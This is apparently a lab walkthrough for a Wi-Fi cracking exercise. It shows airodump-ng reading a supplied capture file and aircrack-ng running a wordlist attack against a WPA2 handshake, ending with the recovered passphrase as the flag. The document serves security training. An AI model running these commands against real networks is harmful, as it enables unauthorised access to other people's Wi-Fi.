

[illegible]

Name	WPA2 PSK Cracking
URL	https://www.attackdefense.com/challengedetails?cid=41
Type	Cracking : Wi-Fi Networks

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: Use airodump-ng to load the PCAP file.

Command: airodump-ng -r WPA2-PSK.pcap

```
CH  0  ][ Elapsed: 12 s  ][ 2018-11-03 13:14  ][ Finished reading input file WPA2-PSK.pcap.

BSSID            PWR  Beacons    #Data, #/s  CH  MB   ENC   CIPHER AUTH ESSID
00:21:91:D2:8E:25  0      1          4    0   1  54 . WPA2 CCMP   PSK  SecurityTube

BSSID            STATION            PWR   Rate    Lost    Frames  Probe
00:21:91:D2:8E:25  60:FB:42:D5:E4:01   0     0e- 0e    0        4
```

There is one SSID with BSSID 00:21:91:D2:8E:25 and Client 60:FB:42:D5:E4:01

Step 2: Use aircrack-ng to launch the attack with the given wordlist.

Command: aircrack-ng -w 1000000-password-seclists.txt -b 00:21:91:d2:8e:25 WPA2-PSK.pcap

```
Aircrack-ng 1.2 beta3

[00:00:01] 352 keys tested (183.84 k/s)

KEY FOUND! [ abcdefgh ]

Master Key      : D1 55 B2 DD 0B 6F 90 42 02 37 50 C3 E8 26 F9 51
                  2E 14 66 54 A3 B9 9E E1 3B C0 AB B5 B0 00 4F CB

Transient Key   : 5A 84 D5 34 1A 76 CC 1E 2C CD 21 C3 58 0C C6 AF
                  12 4A 81 01 E7 1A DD 02 D2 5E 74 62 A5 11 D8 FF
                  4D 9A 2C 60 A7 B6 D3 BA FD AF B8 5F CA 24 58 26
                  37 07 29 21 49 90 CD 7E 88 0B 9E F6 34 BB 61 75

EAPOL HMAC     : 4B FE C0 04 3F 8D 89 3A D2 85 4F 42 57 6A D6 A1
```

Flag: abcdefgh

References:

1. Aircrack-ng (<https://www.aircrack-ng.org/>)